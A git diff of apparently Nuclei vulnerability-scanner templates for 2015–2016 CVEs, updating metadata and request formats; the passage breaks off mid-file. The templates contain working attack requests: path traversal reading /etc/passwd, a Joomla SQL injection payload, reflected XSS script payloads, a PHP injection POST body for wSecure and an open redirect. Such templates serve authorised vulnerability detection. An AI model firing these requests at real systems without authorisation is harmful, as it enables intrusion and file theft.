a/poc/cve/CVE-2015-5354.yaml +++ b/poc/cve/CVE-2015-5354.yaml @@ -1,40 +1,26 @@ id: CVE-2015-5354 - info: name: Novius OS 5.0.1-elche - Open Redirect author: 0x_Akoko severity: medium - description: Novius OS 5.0.1 (Elche) allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks via a URL in the redirect parameter to admin/nos/login. - remediation: | - Apply the latest security patches or upgrade to a newer version of Novius OS. + description: Open redirect vulnerability in Novius OS 5.0.1 (Elche) allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks via a URL in the redirect parameter to admin/nos/login. reference: - https://packetstormsecurity.com/files/132478/Novius-OS-5.0.1-elche-XSS-LFI-Open-Redirect.html - https://vuldb.com/?id.76181 + - https://nvd.nist.gov/vuln/detail/CVE-2015-5354 - http://packetstormsecurity.com/files/132478/Novius-OS-5.0.1-elche-XSS-LFI-Open-Redirect.html - - https://nvd.nist.gov/vul n/detail/CVE-2015-5354 - - https://www.exploit-db.com/exploits/37439/ classification: - cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:N - cvss-score: 5.8 + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 cve-id: CVE-2015-5354 cwe-id: CWE-601 - epss-score: 0.00166 - epss-percentile: 0.53183 - cpe: cpe:2.3:a:novius-os:novius_os:5.0.1:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: novius-os - product: novius_os - tags: packetstorm,cve,cve2015,redirect,novius - -http: + tags: cve,cve2015,redirect,novius +requests: - method: GET path: - '{{BaseURL}}/novius-os/admin/nos/login?redirect=http://interact.sh' - matchers: - type: regex part: header regex: - - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/L403F0/1 -# digest: 490a0046304402205a02e560404f4b539180fd9372699ff954cf24e1e832e44537173394f168cb6402200d73ca0fb228a7bf3efa29fa8290843e5bc2edd24583cf0ac899bdd7d300d63d:922c64590222798bb761d5b6d8e72950 \ No newline at end of file + - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/ZDYhFh/1 diff --git a/poc/cve/CVE-2015-5471.yaml b/poc/cve/CVE-2015-5471.yaml index 37ed1b5e40..151b25e771 100644 --- a/poc/cve/CVE-2015-5471.yaml +++ b/poc/cve/CVE-2015-5471.yaml @@ -1,28 +1,40 @@ id: CVE-2015-5471 + info: name: Swim Team <= v1.44.10777 - Local File Inclusion author: 0x_Akoko severity: medium - description: The code in ./wp-swimteam/include/user/download.php doesnt sanitize user input from downloading sensitive system files. + description: The program /wp-swimteam/include/user/download.php allows unauthenticated attackers to retrieve arbitrary files from the system. + remediation: Upgrade to Swim Team version 1.45 or newer. reference: - https://wpscan.com/vulnerability/b00d9dda-721d-4204-8995-093f695c3568 - http://www.vapid.dhs.org/advisory.php?v=134 - https://nvd.nist.gov/vuln/detail/CVE-2015-5471 - tags: cve,cve2015,wordpress,wp-plugin,lfi + - http://packetstormsecurity.com/files/132653/WordPress-WP-SwimTeam-1.44.10777-Arbitrary-File-Download.html + - http://michaelwalsh.org/blog/2015/07/wp-swimteam-v1-45-beta-3-now-available/ classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N - cvss-score: 5.30 + cvss-score: 5.3 cve-id: CVE-2015-5471 cwe-id: CWE-22 + epss-score: 0.08185 + epss-percentile: 0.93681 + cpe: cpe:2.3:a:swim_team_project:swim_team:1.44.10777:*:*:*:*:wordpress:*:* + metadata: + max-request: 1 + vendor: swim_team_project + product: swim_team + framework: wordpress + google-query: inurl:"/wp-content/plugins/wp-swimteam" + tags: cve,cve2015,wordpress,wp-plugin,lfi,wpscan,packetstorm -requests: +http: - method: GET path: - "{{BaseURL}}/wp-content/plugins/wp-swimteam/include/user/download.php?file=/etc/passwd&filename=/etc/passwd&contenttype=text/html&transient=1&abspath=/usr/share/wordpress" matchers-condition: and matchers: - - type: regex regex: - "root:[x*]:0:0" @@ -30,3 +42,4 @@ requests: - type: status status: - 200 +# digest: 490a004630440220160c54578ec6aff888716cb92bfc490c74467330aa72d5b20d5575efe59709db0220798fefcb9df2f0868b45964c6869cb83066a899a4cd5624a5ef9acacdb4a796f:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2015-5688.yaml b/poc/cve/CVE-2015-5688.yaml index 55e9b3a63c..570925931d 100644 --- a/poc/cve/CVE-2015-5688.yaml +++ b/poc/cve/CVE-2015-5688.yaml @@ -1,18 +1,34 @@ id: CVE-2015-5688 info: - name: Geddy before v13.0.8 LFI + name: Geddy <13.0.8 - Local File Inclusion author: pikpikcu - severity: high - description: Directory traversal vulnerability in lib/app/index.js in Geddy before 13.0.8 for Node.js allows remote attackers to read arbitrary files via a ..%2f (dot dot encoded slash) in the PATH_INFO to the default URI. + severity: medium + description: Geddy prior to version 13.0.8 contains a directory traversal vulnerability in lib/app/index.js that allows remote attackers to read arbitrary files via a ..%2f (dot dot encoded slash) in the PATH_INFO to the default URI. + remediation: | + Upgrade Geddy to version 13.0.8 or later to mitigate the vulnerability. reference: - https://nodesecurity.io/advisories/geddy-directory-traversal - https://github.com/geddy/geddy/issues/697 + - https://github.com/geddy/geddy/commit/2de63b68b3aa6c08848f261ace550a37959ef231 + - https://nvd.nist.gov/vuln/detail/CVE-2015-5688 + - https://github.com/geddy/geddy/pull/699 classification: + cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N + cvss-score: 5 cve-id: CVE-2015-5688 + cwe-id: CWE-22 + epss-score: 0.01347 + epss-percentile: 0.84606 + cpe: cpe:2.3:a:geddyjs:geddy:13.0.7:*:*:*:*:node.js:*:* + metadata: + max-request: 1 + vendor: geddyjs + product: geddy + framework: node.js tags: cve,cve2015,geddy,lfi -requests: +http: - method: GET path: - "{{BaseURL}}/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd" @@ -20,10 +36,11 @@ requests: matchers-condition: and matchers: - type: regex + part: body regex: - "root:.*:0:0:" - part: body - type: status status: - 200 +# digest: 4b0a00483046022100a0202e7a73b1abac381b920fd6a4157620690f80d4d927442a9c5cca412e4109022100fdeb02e286a7413f1c1c17bc433b234e34e0def4b78a1661b8aff7d72d8cb6bd:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2015-7297.yaml b/poc/cve/CVE-2015-7297.yaml index aac8c6f54d..e94845c20a 100644 --- a/poc/cve/CVE-2015-7297.yaml +++ b/poc/cve/CVE-2015-7297.yaml @@ -1,43 +1,17 @@ id: CVE-2015-7297 - info: - name: Joomla! Core SQL Injection + name: Joomla Core SQL Injection author: princechaddha severity: high - description: A SQL injection vulnerability in Joomla! 3.2 before 3.4.4 allows remote attackers to execute arbitrary SQL commands. - remediation: | - Apply the latest security patches and updates provided by Joomla! to mitigate the SQL Injection vulnerability. - reference: - - https://nvd.nist.gov/vuln/detail/CVE-2015-7297 - - http://developer.joomla.org/security-centre/628-20151001-core-sql-injection.html - - https://www.trustwave.com/Resources/SpiderLabs-Blog/Joomla-SQL-Injection-Vulnerability-Exploit-Results-in-Full-Administrative-Access/ - - http://packetstormsecurity.com/files/134097/Joomla-3.44-SQL-Injection.html - - http://packetstormsecurity.com/files/134494/Joomla-Content-History-SQL-Injection-Remote-Code-Execution.html - classification: - cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P - cvss-score: 7.5 - cve-id: CVE-2015-7297 - cwe-id: CWE-89 - epss-score: 0.97564 - epss-percentile: 0.99999 - cpe: cpe:2.3:a:joomla:joomla\!:3.2.0:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: joomla - product: joomla\! - tags: packetstorm,cve,cve2015,joomla,sqli -variables: - num: "999999999" - -http: + description: SQL injection vulnerability in Joomla 3.2 before 3.4.4 allows remote attackers to execute arbitrary SQL commands. + reference: http://developer.joomla.org/security-centre/628-20151001-core-sql-injection.html + tags: cve,cve2015,joomla,sqli +requests: - method: GET path: - - "{{BaseURL}}/index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=1&type_id=1&list[select]=updatexml(0x23,concat(1,md5({{num}})),1)" - + - "{{BaseURL}}/index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=1&type_id=1&list[select]=updatexml(0x23,concat(1,md5(8888)),1)" matchers: - type: word - part: body words: - - '{{md5({{num}})}}' - -# digest: 490a0046304402207559b85ceccbea1fe5b6daceae4e5a92557d4633810feb726625a5b886a65f02022069bdfd3c858ad721a570c03085f038c7e7d3bcff7ffc28725f22d3beac6634c4:922c64590222798bb761d5b6d8e72950 + - "cf79ae6addba60ad018347359bd144d2" + part: body diff --git a/poc/cve/CVE-2015-8349.yaml b/poc/cve/CVE-2015-8349.yaml index 266da313a8..ee575039cc 100644 --- a/poc/cve/CVE-2015-8349.yaml +++ b/poc/cve/CVE-2015-8349.yaml @@ -1,19 +1,30 @@ id: CVE-2015-8349 info: - name: SourceBans XSS + name: SourceBans <2.0 - Cross-Site Scripting author: pikpikcu severity: medium - description: Cross-site scripting (XSS) vulnerability in SourceBans before 2.0 pre-alpha allows remote attackers to inject arbitrary web script or HTML via the advSearch parameter to index.php. - reference: https://nvd.nist.gov/vuln/detail/CVE-2015-8349 - tags: cve,cve2015,xss,sourcebans + description: SourceBans before 2.0 contains a cross-site scripting vulnerability which allows remote attackers to inject arbitrary web script or HTML via the advSearch parameter to index.php. + remediation: | + Upgrade to a version of SourceBans that is 2.0 or above, which includes a fix for this vulnerability. + reference: + - https://www.htbridge.com/advisory/HTB23273 + - https://nvd.nist.gov/vuln/detail/CVE-2015-8349 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.10 + cvss-score: 6.1 cve-id: CVE-2015-8349 cwe-id: CWE-79 + epss-score: 0.0013 + epss-percentile: 0.47684 + cpe: cpe:2.3:a:gameconnect:sourcebans:*:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: gameconnect + product: sourcebans + tags: cve,cve2015,xss,sourcebans -requests: +http: - method: GET path: - "{{BaseURL}}/index.php?p=banlist&advSearch=0%27%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&advType=btype" @@ -21,15 +32,16 @@ requests: matchers-condition: and matchers: - type: word + part: body words: - '' - part: body - - - type: status - status: - - 200 - type: word part: header words: - text/ + + - type: status + status: + - 200 +# digest: 4a0a00473045022100fee141eb6ee8821218ca395bf458ecebcd903a23b8271f3932fed17c142fe8da02202f5f64fa9de8f15947573abfb8f51b0aedb3b54e6e07764214975d730264fa83:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2016-1000131.yaml b/poc/cve/CVE-2016-1000131.yaml index 6ec9f08ed2..75063e7c6d 100644 --- a/poc/cve/CVE-2016-1000131.yaml +++ b/poc/cve/CVE-2016-1000131.yaml @@ -1,50 +1,34 @@ id: CVE-2016-1000131 - info: - name: WordPress e-search <=1.0 - Cross-Site Scripting + name: e-search <= 1.0 - Reflected Cross-Site Scripting (XSS) via title_az.php author: daffainfo severity: medium - description: WordPress e-search 1.0 and before contains a reflected cross-site scripting vulnerability via title_az.php which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. - remediation: | - Update to the latest version of the WordPress e-search plugin to mitigate this vulnerability. + description: Reflected XSS in wordpress plugin e-search v1.0 reference: + - https://nvd.nist.gov/vuln/detail/CVE-2016-1000131 - http://www.vapidlabs.com/wp/wp_advisory.php?v=393 - https://wordpress.org/plugins/e-search - - https://nvd.nist.gov/vuln/detail/CVE-2016-1000131 + - http://www.securityfocus.com/bid/93867 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2016-1000131 cwe-id: CWE-79 - epss-score: 0.00142 - epss-percentile: 0.49889 - cpe: cpe:2.3:a:e-search_project:esearch:1.0:*:*:*:*:wordpress:*:* - metadata: - max-request: 1 - vendor: e-search_project - product: esearch - framework: wordpress - google-query: inurl:"/wp-content/plugins/e-search" tags: cve,cve2016,wordpress,xss,wp-plugin - -http: +requests: - method: GET path: - "{{BaseURL}}/wp-content/plugins/e-search/tmpl/title_az.php?title_az=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E" - matchers-condition: and matchers: - type: word - part: body words: - "" - + part: body - type: word part: header words: - text/html - - type: status status: - 200 -# digest: 490a0046304402203943b9ba7d257c019b491b76ef44f9c7d819f57441a17a59efe1f6b4f5ace8da022045186d7f71213281aaffe7d31c06df77fdf8075f458da6bb5e6913657271707d:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2016-1000132.yaml b/poc/cve/CVE-2016-1000132.yaml index df36a3068e..042fb30874 100644 --- a/poc/cve/CVE-2016-1000132.yaml +++ b/poc/cve/CVE-2016-1000132.yaml @@ -1,25 +1,33 @@ id: CVE-2016-1000132 info: - name: enhanced-tooltipglossary v3.2.8 - Reflected Cross-Site Scripting (XSS) + name: WordPress enhanced-tooltipglossary 3.2.8 - Cross-Site Scripting author: daffainfo severity: medium - description: Reflected XSS in wordpress plugin enhanced-tooltipglossary v3.2.8 + description: WordPress enhanced-tooltipglossary 3.2.8 contains a reflected cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. + remediation: | + Update to the latest version of WordPress enhanced-tooltipglossary plugin (3.2.9 or higher) which includes a fix for this vulnerability. reference: - - https://nvd.nist.gov/vuln/detail/CVE-2016-1000132 - http://www.vapidlabs.com/wp/wp_advisory.php?v=37 - https://wordpress.org/plugins/enhanced-tooltipglossary - - http://web.archive.org/web/20210123183532/https://www.securityfocus.com/bid/93865/ + - https://nvd.nist.gov/vuln/detail/CVE-2016-1000132 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2016-1000132 cwe-id: CWE-79 + epss-score: 0.00116 + epss-percentile: 0.45205 + cpe: cpe:2.3:a:cminds:tooltip_glossary:*:*:*:*:*:wordpress:*:* metadata: + max-request: 1 + vendor: cminds + product: tooltip_glossary + framework: wordpress google-query: inurl:"/wp-content/plugins/enhanced-tooltipglossary" tags: cve,cve2016,wordpress,xss,wp-plugin -requests: +http: - method: GET path: - "{{BaseURL}}/wp-content/plugins/enhanced-tooltipglossary/backend/views/admin_importexport.php?itemsnumber=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&msg=imported" @@ -27,9 +35,9 @@ requests: matchers-condition: and matchers: - type: word + part: body words: - "" - part: body - type: word part: header @@ -39,3 +47,4 @@ requests: - type: status status: - 200 +# digest: 4b0a00483046022100c51eb02b55ee8351b095e66fd40d6e82a2c34175823525c78a617a78cec7cb810221009cadacb6a5bfe65f3484c61f990dd5b24c740e53cf58dc5e1d87499aea9e8872:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2016-1000138.yaml b/poc/cve/CVE-2016-1000138.yaml index 2a804ad3e7..d3e4342398 100644 --- a/poc/cve/CVE-2016-1000138.yaml +++ b/poc/cve/CVE-2016-1000138.yaml @@ -1,33 +1,51 @@ id: CVE-2016-1000138 + info: - name: Admin Font Editor <= 1.8 - Reflected Cross-Site Scripting (XSS) + name: WordPress Admin Font Editor <=1.8 - Cross-Site Scripting author: daffainfo severity: medium - description: Reflected XSS in wordpress plugin indexisto v1.0.5 + description: WordPress Admin Font Editor plugin indexisto 1.8 and before contains a cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. + remediation: | + Update to the latest version of the WordPress Admin Font Editor plugin (1.8 or higher) to fix this vulnerability. reference: - http://www.vapidlabs.com/wp/wp_advisory.php?v=38 - https://wordpress.org/plugins/indexisto - - http://web.archive.org/web/20210622181116/https://www.securityfocus.com/bid/93816 + - http://web.archive.org/web/20210622181116/ + - https://nvd.nist.gov/vuln/detail/CVE-2016-1000138 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2016-1000138 cwe-id: CWE-79 + epss-score: 0.00119 + epss-percentile: 0.45801 + cpe: cpe:2.3:a:indexisto_project:indexisto:*:*:*:*:*:wordpress:*:* + metadata: + max-request: 1 + vendor: indexisto_project + product: indexisto + framework: wordpress + google-query: inurl:"/wp-content/plugins/indexisto" tags: cve,cve2016,wordpress,xss,wp-plugin -requests: + +http: - method: GET path: - "{{BaseURL}}/wp-content/plugins/indexisto/assets/js/indexisto-inject.php?indexisto_index=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E" + matchers-condition: and matchers: - type: word + part: body words: - "" - part: body + - type: word part: header words: - text/html + - type: status status: - 200 +# digest: 490a0046304402204bdb63002735d94bde5d135d1e8ec50572fd6973fe3ca47e6d0c2a66a5c0ba39022008105b9ff945bf0a132eb42aba22f7138bf900a99dd01843188791b6a6072361:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2016-1000142.yaml b/poc/cve/CVE-2016-1000142.yaml index e25d5ac539..6ec7660b5f 100644 --- a/poc/cve/CVE-2016-1000142.yaml +++ b/poc/cve/CVE-2016-1000142.yaml @@ -1,34 +1,50 @@ id: CVE-2016-1000142 + info: - name: MW Font Changer <= 4.2.5 - Unauthenticated Reflected Cross-Site Scripting (XSS) + name: WordPress MW Font Changer <=4.2.5 - Cross-Site Scripting author: daffainfo severity: medium - description: The MW Font Changer WordPress plugin was affected by an Unauthenticated Reflected Cross-Site Scripting (XSS) security vulnerability. + description: WordPress MW Font Changer plugin 4.2.5 and before contains a cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. + remediation: | + Update to the latest version of the WordPress MW Font Changer plugin (4.2.5) or remove the plugin if it is not necessary. reference: - https://wpscan.com/vulnerability/4ff5d65a-ba61-439d-ab7f-745a0648fccc - - https://nvd.nist.gov/vuln/detail/CVE-2016-1000142 - http://www.vapidlabs.com/wp/wp_advisory.php?v=435 - https://wordpress.org/plugins/parsi-font + - https://nvd.nist.gov/vuln/detail/CVE-2016-1000142 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2016-1000142 cwe-id: CWE-79 - tags: cve,cve2016,wordpress,wp-plugin,xss -requests: + epss-score: 0.00103 + epss-percentile: 0.41683 + cpe: cpe:2.3:a:parsi-font_project:parsi-font:4.2.5:*:*:*:*:wordpress:*:* + metadata: + max-request: 1 + vendor: parsi-font_project + product: parsi-font + framework: wordpress + tags: cve2016,wordpress,wp-plugin,xss,wpscan,cve + +http: - method: GET path: - "{{BaseURL}}/wp-content/plugins/parsi-font/css.php?size=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E" + matchers-condition: and matchers: - type: word + part: body words: - '' - part: body + - type: word part: header words: - text/html + - type: status status: - 200 +# digest: 490a00463044022038b34a61cc0b3e84ea316b969719c2287a534a945a176360bdc62094dd8cf152022011d85d2efe61265970bedd7ad0feede8fb1185a7db29091534f8241ac397e192:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2016-1000155.yaml b/poc/cve/CVE-2016-1000155.yaml index 70f109f44c..de8ccbe948 100644 --- a/poc/cve/CVE-2016-1000155.yaml +++ b/poc/cve/CVE-2016-1000155.yaml @@ -1,19 +1,32 @@ id: CVE-2016-1000155 info: - name: WPSOLR <= 8.6 - Unauthenticated Reflected Cross-Site Scripting (XSS) + name: WordPress WPSOLR <=8.6 - Cross-Site Scripting author: daffainfo severity: medium - reference: https://nvd.nist.gov/vuln/detail/CVE-2016-1000155 - tags: cve,cve2016,wordpress,xss,wp-plugin + description: WordPress WPSOLR 8.6 and before contains a reflected cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. + remediation: | + Update to the latest version of WPSOLR plugin (8.7 or higher). + reference: + - https://wordpress.org/plugins/wpsolr-search-engine + - http://www.vapidlabs.com/wp/wp_advisory.php?v=303 + - https://nvd.nist.gov/vuln/detail/CVE-2016-1000155 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.10 + cvss-score: 6.1 cve-id: CVE-2016-1000155 cwe-id: CWE-79 - description: "Reflected XSS in wordpress plugin wpsolr-search-engine v7.6" + epss-score: 0.00103 + epss-percentile: 0.41683 + cpe: cpe:2.3:a:wpsolr:wpsolr-search-engine:7.6:*:*:*:*:wordpress:*:* + metadata: + max-request: 1 + vendor: wpsolr + product: wpsolr-search-engine + framework: wordpress + tags: cve,cve2016,wordpress,xss,wp-plugin -requests: +http: - method: GET path: - "{{BaseURL}}/wp-content/plugins/wpsolr-search-engine/classes/extensions/managed-solr-servers/templates/template-my-accounts.php?page=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E" @@ -21,9 +34,9 @@ requests: matchers-condition: and matchers: - type: word + part: body words: - "" - part: body - type: word part: header @@ -33,3 +46,4 @@ requests: - type: status status: - 200 +# digest: 4a0a00473045022100c9038473fafe52cc4b5874ec8536c9b036f0290d4655fc9128da48d21f6bef660220186364b4daf33293067febd6647d40e5574466af405f198bf886d22f7ef0a169:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2016-10367.yaml b/poc/cve/CVE-2016-10367.yaml index c7285e8ae6..5c754519c7 100644 --- a/poc/cve/CVE-2016-10367.yaml +++ b/poc/cve/CVE-2016-10367.yaml @@ -1,44 +1,27 @@ id: CVE-2016-10367 - info: - name: Opsview Monitor Pro - Local File Inclusion + name: Opsview Monitor Pro - Unauthenticated Directory Traversal author: 0x_akoko severity: high - description: Opsview Monitor Pro prior to 5.1.0.162300841, prior to 5.0.2.27475, prior to 4.6.4.162391051, and 4.5.x without a certain 2016 security patch is vulnerable to unauthenticated local file inclusion and can be exploited by issuing a specially crafted HTTP GET request utilizing a simple bypass. - remediation: | - Upgrade to the latest version of Opsview Monitor Pro to fix the local file inclusion vulnerability. + description: The unauthenticated Directory Traversal vulnerability can be exploited by issuing a specially crafted HTTP GET request utilizing a simple bypass reference: + - https://www.cvedetails.com/cve/CVE-2016-10367 - https://www.trustwave.com/en-us/resources/security-resources/security-advisories/?fid=18774 - - https://www.trustwave.com/Resources/Security-Advisories/Advisories/TWSL2016-016/?fid=8341 - - https://nvd.nist.gov/vuln/detail/CVE-2016-10367 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2016-10367 cwe-id: CWE-22 - epss-score: 0.01346 - epss-percentile: 0.84603 - cpe: cpe:2.3:a:opsview:opsview:4.5.0:*:*:*:pro:*:*:* - metadata: - verified: true - max-request: 1 - vendor: opsview - product: opsview - shodan-query: title:"Opsview" tags: cve,cve2016,opsview,lfi - -http: +requests: - method: GET path: - "{{BaseURL}}/monitoring/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc/passwd" - matchers-condition: and matchers: - type: regex regex: - "root:[x*]:0:0" - - type: status status: - 404 -# digest: 4b0a00483046022100fd2ab29066206b564709a4a43d2258badc5de7bdcaeae07f52bb8297c2005dd2022100e5ea673a027614e2c3b8c5ba0943ca3af9581ebee0f2bd25ef125d908bfd3b0b:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2016-10960.yaml b/poc/cve/CVE-2016-10960.yaml index 7d70ef5104..2385e8dbe5 100644 --- a/poc/cve/CVE-2016-10960.yaml +++ b/poc/cve/CVE-2016-10960.yaml @@ -1,34 +1,51 @@ id: CVE-2016-10960 info: - name: wSecure Lite < 2.4 - Remote Code Execution (RCE) + name: WordPress wSecure Lite < 2.4 - Remote Code Execution author: daffainfo severity: high - description: The wsecure plugin before 2.4 for WordPress has remote code execution via shell metacharacters in the wsecure-config.php publish parameter. + description: WordPress wsecure plugin before 2.4 is susceptible to remote code execution via shell metacharacters in the wsecure-config.php publish parameter. + remediation: | + Update to the latest version of WordPress wSecure Lite plugin (2.4 or higher) to fix the vulnerability. reference: - https://www.pluginvulnerabilities.com/2016/07/12/remote-code-execution-rce-vulnerability-in-wsecure-lite/ - https://www.acunetix.com/vulnerabilities/web/wordpress-plugin-wsecure-lite-remote-code-execution-2-3/ - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-10960 - tags: cve,cve2016,wordpress,wp-plugin,rce + - https://wordpress.org/plugins/wsecure/#developers classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - cvss-score: 8.80 + cvss-score: 8.8 cve-id: CVE-2016-10960 cwe-id: CWE-20 + epss-score: 0.01127 + epss-percentile: 0.83013 + cpe: cpe:2.3:a:joomlaserviceprovider:wsecure:*:*:*:*:lite:wordpress:*:* + metadata: + max-request: 1 + vendor: joomlaserviceprovider + product: wsecure + framework: wordpress + google-query: inurl:"/wp-content/plugins/wsecure" + tags: cve,cve2016,wordpress,wp-plugin,rce +variables: + name: "{{to_lower(rand_text_alpha(5))}}" -requests: +http: - method: POST path: - "{{BaseURL}}/wp-content/plugins/wsecure/wsecure-config.php" - body: 'wsecure_action=update&publish=";} header("Nuclei: CVE-2016-10960"); class WSecureConfig2 {var $test="' + + body: 'wsecure_action=update&publish=";} header("{{name}}: CVE-2016-10960"); class WSecureConfig2 {var $test="' matchers-condition: and matchers: - type: word + part: header words: - - "Nuclei: CVE-2016-10960" + - "{{name}}: CVE-2016-10960" condition: and - part: header + - type: status status: - 200 +# digest: 490a00463044022049d9200beaeb192fcd8eb2d2f8da7a04121054d5cff2c8ae13739e0c0e14821002204af54be49a8c07fd75a512b505c1f461b286dee0d187e0aa6c22ef27680ebbdf:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2016-2389.yaml b/poc/cve/CVE-2016-2389.yaml index 02048dde37..27c6fbd30d 100644 --- a/poc/cve/CVE-2016-2389.yaml +++ b/poc/cve/CVE-2016-2389.yaml @@ -1,29 +1,45 @@ id: CVE-2016-2389 + info: - name: SAP xMII 15.0 - Directory Traversal + name: SAP xMII 15.0 for SAP NetWeaver 7.4 - Local File Inclusion author: daffainfo severity: high - description: Directory traversal vulnerability in the GetFileList function in the SAP Manufacturing Integration and Intelligence (xMII) component 15.0 for SAP NetWeaver 7.4 allows remote attackers to read arbitrary files via a .. (dot dot) in the Path parameter to /Catalog, aka SAP Security Note 2230978. + description: SAP xMII 15.0 for SAP NetWeaver 7.4 is susceptible to a local file inclusion vulnerability in the GetFileList function. This can allow remote attackers to read arbitrary files via a .. (dot dot) in the path parameter to /Catalog, aka SAP Security Note 2230978. + remediation: | + Apply the latest security patches and updates provided by SAP to mitigate the vulnerability. reference: - - https://erpscan.io/advisories/erpscan-16-009-sap-xmii-directory-traversal-vulnerability/ - - https://www.cvedetails.com/cve/CVE-2016-2389 + - https://web.archive.org/web/20211209003818/https://erpscan.io/advisories/erpscan-16-009-sap-xmii-directory-traversal-vulnerability/ - http://packetstormsecurity.com/files/137046/SAP-MII-15.0-Directory-Traversal.html - https://www.exploit-db.com/exploits/39837/ + - https://nvd.nist.gov/vuln/detail/CVE-2016-2389 + - http://seclists.org/fulldisclosure/2016/May/40 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2016-2389 cwe-id: CWE-22 - tags: cve,cve2016,lfi,sap -requests: + epss-score: 0.24589 + epss-percentile: 0.96163 + cpe: cpe:2.3:a:sap:netweaver:7.40:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: sap + product: netweaver + shodan-query: http.favicon.hash:-266008933 + tags: packetstorm,seclists,lfi,sap,edb,cve,cve2016 + +http: - method: GET path: - "{{BaseURL}}/XMII/Catalog?Mode=GetFileList&Path=Classes/../../../../../../../../../../../../etc/passwd" + matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" + - type: status status: - 200 +# digest: 490a0046304402205ff86490d5726f763e2dce51b1ad2d40cca9eceaada13c8041761401f9cfaa4f022034de54e29a3c7f15d1649cced36c7214aa8ea1ec9cc49d1cad249b1be31fb3df:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2016-4975.yaml b/poc/cve/CVE-2016-4975.yaml index f4464c543f..1fa0c07573 100644 --- a/poc/cve/CVE-2016-4975.yaml +++ b/poc/cve/CVE-2016-4975.yaml @@ -9,31 +9,21 @@ info: reference: - 